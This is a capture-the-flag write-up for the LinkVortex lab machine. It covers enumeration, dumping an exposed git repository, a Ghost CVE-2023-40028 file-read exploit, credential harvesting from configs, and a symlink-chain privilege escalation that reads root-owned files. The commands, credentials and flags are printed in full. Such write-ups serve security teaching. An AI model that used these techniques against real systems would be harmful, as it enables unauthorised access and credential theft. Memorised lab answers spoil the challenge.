LinkVortex


Summary

This hosts a web app with a login page, to which we don’t have access. After enumeration, we find a virtual host for another website, with an exposed .git folder, which we can download. Checking the unstaged changes, we can extract a clear text password and log into the real web app. The app’s old version suffers from a vulnerability, which lets us read files on the system. By reading a config generated by the docker process, we find credentials for an account, with which we can log into the system via SSH.

The compromised user has the privilege to execute a custom script, which can read files on the system, but includes a filter to not reveals sensitive files. By using multiple system links, which point to sensitive files, we can trick the filter and obtain any user’s password hash and the root flag.

Solution

Reconnaissance

Nmap discovered two open ports:

nmap -sC -sV 10.10.11.47 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 14:10 CET
Nmap scan report for 10.10.11.47
Host is up (0.058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan already tells us, that the website redirects us to linkvortex.htb, so let’s add this domain to /etc/hosts. When we visit this website, we can find a blog.

Pasted image 20250213141610.png

While clicking through the website, we can see that there is a user call admin, who published all article. Also, we can see that this blog is based on Ghost. Let’s enumerate a little further with Gobuster.

gobuster dir -u http://linkvortex.htb -w /usr/share/wordlists/dirb/big.txt -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://linkvortex.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/About                (Status: 200) [Size: 8284]
/LICENSE              (Status: 200) [Size: 1065]
/RSS                  (Status: 200) [Size: 26682]
/about                (Status: 200) [Size: 8284]
/amp                  (Status: 200) [Size: 12148]
/cpu                  (Status: 200) [Size: 15472]
/favicon.ico          (Status: 200) [Size: 15406]
/feed                 (Status: 200) [Size: 26682]
/ghost                (Status: 200) [Size: 3787]
/private              (Status: 200) [Size: 12148]
/ram                  (Status: 200) [Size: 14746]
/robots.txt           (Status: 200) [Size: 121]
/rss                  (Status: 200) [Size: 26682]
/server-status        (Status: 403) [Size: 199]
/sitemap.xml          (Status: 200) [Size: 527]
/unsubscribe          (Status: 400) [Size: 24]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

Most of these directories are uninteresting, but /ghost presents us with a login panel.

Pasted image 20250213150141.png

After a little research, it seems like this application does not have any default credentials, and it seems like there are no other files we can find. Let continue enumeration of the target by discovering possible virtual hosts.

echo "{GOBUSTER}.linkvortex.htb" > pattern

gobuster vhost -u http://10.10.11.47 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -p pattern 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://10.10.11.47
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] Patterns:        pattern (1 entries)
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.linkvortex.htb Status: 200 [Size: 2538]
===============================================================
Finished
===============================================================

We found one: dev. After adding this domain to /etc/hosts we can visit and enumerate it.

Pasted image 20250213160633.png

Another directory enumeration did not yield any interesting results. However, since this is a page, which is still in development, it is likely that there is git repo. If we check http://dev.linkvortex.htb/.git/, we have access to the repo. To download this, we can use a tool such as Git-Dumper.

python3 git_dumper.py http://dev.linkvortex.htb/.git/ app

User Flag

Now we can access to everything locally and search through the files and the repo. Before we dig through commits, let’s check if anything was recently changed and not committed yet.

git status                      
Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js

The Dockerfile does not contain anything of relevance, but the authentication script contains test credentials.

[...]
it('complete setup', async function () {
            const email = 'test@example.com';
            const password = 'OctopiFociPilfer45';
[...]

This looks like an unusually complex password just for a test. Maybe this is the password of the administrator for the real page. Using the credentials admin@linkvortex.htb:OctopiFociPilfer45, we gain access to the admin dashboard.

Pasted image 20250213164406.png

We actually can’t do much with our newly acquired access, as the panel does not have many features we can work with. It also does not disclose the application’s version, so we need to use something like Wappalyzer to discover, that this is Ghost v5.58. A little research reveals that there is an existing exploit, which allows an authenticated user to read files on the system.

./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb

Now we have a prompt, with which we can read files. Since don’t have any special access with this prompt, we can’t read important files on the system. This means we are restrained to files of the web application, to which we already have read access to most of its files. The only files we can’t yet read, are files that are generated as soon as the service starts. Let’s take a look at such files. Dockerfile.ghost generates a copy of the config file.

FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Since we now the absolute path of this file, let’s read it with our exploit prompt.

{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

This file contains not only a new user, but also a password: bob:fibber-talented-worth. We can use these credentials to log in via SSH and collect the user flag.

Pasted image 20250213173614.png

e482382a643b553f0f5fc5ec0075b769

Root Flag

First, let’s check if bob can execute anything as root.

sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

He is allowed to execute a custom script for .png files as sudo. We can read the script and try to make sense of what it is doing.

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Essentially, the script takes the .png file as an input and checks, if it is part of /root or /etc, or points to them by being a symbolic link. Once this is confirmed, it moves the file and can print out the content, as long as CHECK_CONTENT is set.

After a little analysis, we can notice that even though the script can not be fooled, if we provide a symbolic link as the parameter, which points at these two directories, there is another way. We should be able to pass the filter, if the link points to another symbolic link. According to the filter, we would not be pointing at the directories in question, even though we technically still do. Also, remember that the script moves our files, so we need to work with absolute paths.

First, we can create a link pointing to the sensitive file and then another one pointing at the link. Then we can call the script as sudo for our second link. Also, we need to set the CHECK_CONTENT flag to be able to read the output.

ln -s /root/root.txt link1
ln -s /home/bob/link1 link2.png

CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh link2.png

If we use the root flag as the link target, we can claim it.

087fdf08fd5b1c9eb6d7e14fe9b54dcc

We could also point it at /etc/shadow and read the password hash of root, but the cracking process would take some time and is unnecessary in this case.